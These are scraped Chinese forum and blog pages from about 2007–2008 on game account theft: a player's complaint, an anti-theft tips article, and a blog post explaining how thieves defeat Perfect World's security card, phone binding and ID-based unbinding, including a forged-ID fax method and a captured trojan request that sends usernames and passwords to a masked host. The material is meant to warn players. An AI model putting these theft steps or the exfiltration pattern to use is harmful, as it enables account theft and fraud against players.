到底他们是怎么盗号的
情人爱我
2007年05月14日 16:51:56
　　想起来玩传奇已经有５年了，从拿火把开始，大家也应该想得起来我在传奇中应该经过了多少的风风雨雨了吧．刚开始在４区练个法起个好听的名字叫情人爱我，呵呵．后来转到了１４区了，相信玩过１４区清风二的人都应该知道我的．我们一帮朋友有传奇有着特殊的爱好．为了聚一起玩得痛快，宁可放着家里的电脑不上，开车去十几公里外的城里找个条件好的网吧一坐就是半天一天的．嘎嘎．相信传奇的资深玩家都应该是这样玩的哦！　　
　　在传奇风风雨雨的五年里，最令我们伤心的就是装备被盗的问题了．我们１０几个号没一个号不被盗过２次以上．不管有密宝还是没密宝的．我自己在１４区练了３个号．出去上网身上总放３个密宝，呵呵，还好现在的衣服荷包多啊．想起来，盗号的真厉害，随便我们这样防着他们，装备还是一次次的被盗，虽然盛大也帮我们找回了一些装备，可是被盗的无法找回的还是不计其数．曾经我有个朋友的号每天找回来，每天还是被盗（有密宝）．后来没办法了，干脆那个号不玩了，重创个号玩，唉．我们这些盛大的陪葬品啊！！！
　　有一段时间我们很低调，在沉默了半年以后，我们重新玩起我们怎么也忘不掉的传奇，现在在玩１０９区了．原１４区清风二的朋友如果想找我，呵呵，就到１０９区四海找─━━━━★昊啊，那就是我了．刚到了１０９区每个人虔诚得投入了几千元以后，我和我朋友门终于都到了４０几级了，有一天我们３个人聚一起，在一个朋友家吃饭，电脑在客厅，我们就在电脑旁边的饭桌上吃饭聊天，呵呵，奇迹就在在时候发生了，我们看见电脑画面上我朋友的号身上刚搞的天尊道袍，龙文竟然在我们无人操纵的情况下一件件拿下来放到背包里．然后又和对面的号交易起来，当时我们都傻在那，突然惊醒过来，衣服武器已经到了别人的囊中．他还在接着交易朋友的天尊套．我们连忙大退，才把天尊保全下来．后来我们打***到了盛大，盛大给我们的回答是我们是正常交易，无法帮我们找回．唉，损失不大，就算了吧．继续去为装备打拼了．可是没２天，又有事了，我们家族另外一个朋友为了能下宫殿打指令书，特地办了套幸运９（７的逍遥扇，２的虎齿）．花了９００元宝．呵呵，２天他的装备和开始的朋友一样站安全没了．他没亲眼看见，但是我们知道他和前一个朋友一样是失踪于这种先进的盗号手段中，他在我们的　建议下．给盛大发了传真，说明了情况．盛大答应受理了，我们还帮他叹了口气．可是第二天，盛大来***了，还是那句话，正常交易，没法找回装备．唉，这是什么事啊？盛大口口声声保护我们的权益，拒绝盗号，难道我们这样装备被盗不是给盗号的盗了，是我们自己交易给别人的吗？伤心之余，我们只能佩服盗号的手段高明，连盛大也无法对付了．申明一下，这２个号全有密宝，我们既然买了盛大的密宝，他最起码也应该保护我们这最起码的权利，他们虽然花再多的钱打击盗号，外挂，可是盗号依旧．．．
　　有过同样经历的朋友希望你们顶起，为我们盛大玩家强烈谴责这些盗号的，让他们受到良心的谴责．
】　　　【
】　　【
::::::::::传奇百科::::::::::
::::::::::参阅：游戏同类文章
::::::::::相关精彩文章
[05-14]
[05-14]
[05-13]
[05-10]
[05-07]
[05-04]
[05-04]
[05-02]
[04-30]
[04-17]
::::::::参阅：数码天下新品
::::::::参阅：数码天下行情
::::::::热门新闻关注::::::::2003-09-10 10:25
近来大话盗号现象日益严重，被盗人不但自己遭受损失，也给其他玩家带来很多不必要的麻烦，比如连环盗号.骗钱和装备或者盗号者胡乱杀人。前几天麒麟山一个91级人族被盗号后便使得麒麟山被恶意PK着无数，今天蓝心主力逍遥剑又险遭盗号，在此按照盗号手段高明程度简单谈谈个人总结的一些反盗号方法：
1.骗号：
A.这是最低级的盗号方式，利用关系或者甜言蜜语骗取帐号。
对策：不要轻易相信别人，包括自己最好的朋友，要知道，骗人之心不可有，防人之心不可无。一般朋友也会理解你的做法，不会伤害友谊的。
B.盗取别人帐号后骗取其好友帐号。
对策：如果你值得相信的朋友向你要帐号，即使你以前给过他帐号没出问题，再次给帐号前也一定要确定对方是否是本人在上，随便谈几件只有你们2人才知道的事情就可以试探出来。现实中的朋友或同学找你要号，如果不在一起上网，也不能轻易相信，最好通个***或者当面给号。
C.取别人相似名称冒充他人骗号。
对策：大话聊天窗口右上方有个小放大镜，点一下可以查看对方等级和相关资料，冒充的一般都是级低的小号，一查看等级便可以得知。
D.假装买你号，要求先看号。
对策：帐号交易最好能当面交易，如果网上交易也要通过熟人或者别人先给钱，要求先看号的一律让他们滚蛋。因为现在有盗号工具可以在知道你的帐号密码后迅速得知你的密码保护和安全码并修改或取消相关联手机，千万不要以为自己有密码保护或者安全码就可以将帐号密码交给别人，切记。
E.制作假官方网站或者外挂要求输入帐号密码登陆。
对策：记住官方网站的网址是xy2.163.com.除此之外任何网站都不能保证其安全性，不要轻易输入自己帐号密码。还有部分外挂要求输入帐号密码锁定帐号使用，不管外挂制作者本意是否是要盗号都不要使用这类外挂，安全第一。
2.在网吧或公共场所上网时帐号密码被旁边人偷窥记录。或者网吧老板及网管等暗中盗号。
对策：尽量在家上网或者选择熟悉的网吧上网，在登陆游戏的时候注意旁边没有陌生人观看，输入密码时尽量不让别人看清自己按了哪些键。如果是有盘网吧，上网前先检查电脑是否有木马，清除不明程序；如果是无盘网吧，***有还原精灵，安全性相对较搞，下机时注意重新启动一次，系统自动清除相关记录。
3.利用木马盗号：在外挂中***木马.在邮件中***木马.在QQ上发来木马等。
对策：A.千万不要使用外挂，不管是任何外挂，这不但是对自己的不负责也是对其他玩家的不负责；不要轻易打开陌生人发来的邮件特别是其中的附件；不要点击QQ上发来的链接。
B.***防火墙和反木马软件，并定期检查自己机器是否有多余程序，清除病毒。
C.现在的木马大多数是键盘监控类型，记录你键盘输入，因此可以采用无序输入方法，即先输密码后几位再将光标移动到前面输入前几位，这样对方即使监控到你键盘输入也无法得知你密码的排序。
4.通过你的帐号采用暴力破解密码工具破解密码。
对策：A.不要告诉任何人你的帐号。登陆官方网站论坛最好采用其他帐号名称，因为官方网站论坛点击用户名可以得知用户帐号.
B.暴力破解工具一般是通过反复登陆来试探你的密码，因此密码位数越多越难以破解，最好采用17位的密码，而且密码中包含各种特殊符号.数字.字母，加大破解难度。这样的密码即使对方用超级计算机或者几十台电脑联网破解也需要好几年时间。
C.定期更换密码，即使对方侥幸试出你的密码，如果不及时登陆，也会因为你修改密码而不得不重新破解一次。
5.通过QQ查出IP地址，侵入电脑进行盗号。这种属于高级盗号方法了，一般的黑客不屑于用来盗号，但也有仇家请黑客朋友帮忙盗号。
对策：A.不要将自己的QQ告诉不熟悉的人，不要轻易加好友，如果陌生人发来请求验证，不要点“拒绝”，而是直接关闭该窗口。
B.如果可能的话，尽量隐藏自己真实IP地址。
本人电脑专业知识欠缺，只是个人一些看法，高手勿笑。
Copyright 1996 - 2010 SINA Corporation, All Rights Reserved
新浪公司
北京网通提供网络带宽猪在飞哦的日志
篇日志
如何盗号
2008-03-04 02:16
(分类:
希望盗过的没盗过的还有正在被盗着的都关注一下，提高一下自己的防范意识
首先，中木马玩家一旦运行游戏，就会自动激活盗号程序，关闭你的杀毒软件和防火墙，自动通知远方的盗号者准备开始行动。
一、虚假官方提示骗取
木马先强行踢玩家下线，再发一个虚假官方提示，告诉玩家的密保卡已经损坏，被解除绑定之类，并要玩家输入三个密保卡字母对应的数字。
其实这三个数字正是此时盗号者的登陆界面需要输入的三个数字（他已破解你的登陆密码），一旦玩家输入，号被盗也是情理之中了。这种木马的危害较小，只要不输入任何东西就可以了，这个木马也是官方介绍过的。
二、反复T下线记录
这个是破解密保卡的“常 规手段”，通过反复踢玩家下线让他不断输入坐标，再通过木马的截屏功能逐步搜集密保坐标及其对应的坐标数字。诛仙密保输入的数字是明码的，通过截屏就能知 道你的A1、B2等等是什么数字。只需要知道60%以上的数字对应就可以完成破解，这种专破密保的木马叫“矩阵终结者”。
三、长期“常规”记录
短期反复踢玩家下线容易引起玩家警觉，若玩家长期没有更换密保卡，即使是平时的正常操作也会让马夫们逐步分析完你的密保卡对应数字，一旦达到60%就能实现盗号，所以这就是大多数游戏的密保卡只能保你30天的原因。我的到了第33天就顶不住了……
一旦突破你的防范，用分类软件1分钟拿走你的所有东西，根本无须人工操作。
完美最近推出了***密保，那么***密保用***密保怎么又会被盗那？
破解之一：
盗号者在盗到号（这里指账号和登陆密码）后做的第一件事是先去检查一下有什么密保
如果是***密保，OK了，开始破解
打开***密保的网页，用盗来的号登陆后，会显示出绑定的***
格式如1111***111
隐藏位数只有三位
也就是只有1000种可能
不要对我说***在你的手里，盗号的号码和你不一样
有一类软件叫做网络***
几年前我做系 统维护时曾有人给我推销过，并赠送了20元的话费
当时我试着把本地***设成某比较小的三位数字#17
然后给朋友打了个***,说怀疑他与一宗绑架案有关#76
结果他吓得差点吐血#83
后来我往我自己手机上打了一个，***号码只有三位数#83前两位的数字是同一个#76
不过***密保打***是免费的，所以盗号者没必要去交话费就可以直接操作
破解之二：
二、第二种方式解除***绑定（***已确认）：
传真***复印件至完美，说明原因并要求解除***绑定即可。
方法简单吧，让你吃惊了吗？***姐姐给的理由是如果你的帐号被别人恶意***绑定，使用这种方式就可以解除。对于这种解释我要对大家说自己的证件号码一定要保管好啊。
关于以前有人使用“手机绑定”、“电子密保”绑定功能被盗的步骤，有人已经很详细的解说了。在此再重复说一次，并对一些认为盗号者不知道邮箱为什么能改密码等疑问一并解释。
三、盗取使用“电子密保”玩家的步骤：
1、通过种种渠道获取你的帐号与密码，登录官方网站，查看你的注册***，***号码隐藏部分可通过用户填写的出生日期获取；
2、PS一张假***至完美，要求解除密码绑定；
3、登录游戏（或者通过网页修改密码后再登录游戏）进行盗号操作。
有人问为什么我在邮箱里看不到盗号者修改密码的信息，他们是怎么更改登录密码的？甚至还有人抓住这一点来怀疑是官方内部人员操作的。其实常混多玩的都知道，在修改游戏密码是可以绕过邮箱验证而直接更改密码的。操作步骤如下：
1、登录通行证；
2、直接输入http://XXXXXXXXXXXXXXXXX （屏蔽防止被别有用心者利用）网址即可修改登录密码。
四、总结与建议
综上所述，当你已经被盗号者获知你的有效***号码后，你就无法摆脱被盗的命运。因为完美所推出的这几种绑定服务，均可以通过传真***复印件到完美公司直接申请解除。
由于不能修改注册时的***号码，又因为所有绑定都可以用***号码解除，所以只要别人拿到这个资料，就算电脑100%安全也没用。在强调一下注意帐号资料安全啊！！
看了上面的分析，你就会知道你的所谓防范在中马之后是多么脆弱，俗话说不怕贼偷，就怕贼惦记，中了马之后贼开始惦记你的***密保和密保卡了，破解只是早晚的问题，请相信，
中了木马之后还能够保证你账号绝对安全的措施不存在，最好的办法就是提高警惕，重在预防。
键盘录入的所有信息都是可以被记录的，软键盘输入的信息会被截屏，内存会被读取，密保卡有“矩阵终结者”、***密保有“网络***”，以上还不行，就需知道你的***号码！
最后，你的所有被盗物品都会很快出现在5173或者拍卖行，这个最大的被盗虚拟装备销赃基地，被其他玩家迅速买走……
在这里再说一下，如果物品放在拍卖了最好自己先凑钱把物品买回来，如果你开了协查函或者使用完美找回，完美公司可能会给你追回相应的金钱，如果你是傻等那么........阿门祈求上天吧！
防范办法还是说烂了的老三样：
1、装好杀毒软件保持最新，装好360之类的安全软件，及时修补漏洞，扫描木马；
2、只上正规大网站，多使用网页快照；
3、拒绝任何不明连接、不明软件，下载完毕之后立即扫描病毒木马。
4、做好以上三样还是会被盗的，特别是被盗过的玩家，由于盗号的掌握了你的信息比较多，再次破解的难度会大大降低，所以让我们求求额滴神，不要被盗吧！
五、说GM盗号的
我觉得这些人真是无聊透了，好听点可以说没文化，你自己冷静下来想一想，他们如果有能力盗你号还不如自己刷装备又没风险还快速！万一调查起来这是可不是闹着玩的，想一想挺可笑哈，自己不注意安全就别怪人家，账号在自己手里人家又不是天天给你看管着，自己又不是小孩，说话要负责的嘿嘿，完美推出了密保卡，***密保，手机密保，其实已经不错了，剩下的就要靠自己了。
六、帐号被盗后物品找回的问题
帐号被盗了，完美是在你开出协查函或者使用完美找回的时候才会有这个义务尽量的帮你追回物品的，注意是尽量！因为完美没有这个责任百分之百为你找回因为某些东西是无法找回的.....比如消耗掉的，砸碎的，丢失的，正常交易的等等，现在是法制社会万一物品引起争执完美也不好承担责任毕竟咱们的法律还不健全啊！
总之希望大家看完这些有所收获谢谢
一些盗号的原理是直接改内存地址，没有防封处理，所以400版完美的动态检测躲不过去。
其实原理和功能都很简单，做这个的人主要是为了传播木马。在norton病毒库被命名为delf.bg。中文名字是德芙木马下载器。它的作用是每次开机以后，远程下载木马，它本身不含病毒程序，但是它会负责下载病毒。
小飞的木马基本原理是在**里绑一个木马下载器，然后定期到小飞作者指定的几个地方下载完美破解木马。这些木马会自动把你的用户名、密码和密保卡发邮件到他指定的信箱。
我用小号测试，发现会往外发这种包
GET /wwmm/Faxin.a ?Server=网通逆鳞&am UserName=**********&am Pa word=********&am PCName=**********&am ToMail=****@163.com HTTP/1.1
Host: []www.********.com
（熊猫挂）400版有些版本是没病毒的，但是400版以后的基本都带有木马，原理和上面小飞的一样，估计是同一批人做的。
如果你用过**，请你即使更换自己的密码和密保卡。
1.下载实时杀毒的软件，瑞星、金山、卡巴……都可以
2.使用360安全卫士和360保险箱，360保险箱现在提供完美的保护，每次启动完美它都会自动扫描和实时监控
3.利用IE浏览器中的一处安全缺陷，任何网站都可以在用户不知情的情况下随意拷贝Windows剪贴板中的内容。解决方法——通过点击IE浏览器中的“工具”-“互联网选项”-“安全”-“自定义级别”，找到“脚本”小节，禁用“允许利用脚本进行粘贴操作”。
4.去网吧的时候，先下载一个软件，然后重启，看看你下的软件还在不在，以此判断网吧是否装有还原卡或者**还原软件。
5.到网吧玩，最好登陆游戏之后立刻修改密码，这样就算内存里的帐号和密码被盗，他也登陆不上去。
6.别说什么GM盗号这种没文化的话。
阅读(99)
评论(0)
已有猫扑账号，请登录：
还没有猫扑账号？
请登录后再发表评论
更多TA的日志
猫扑Hi
2009 内部测试中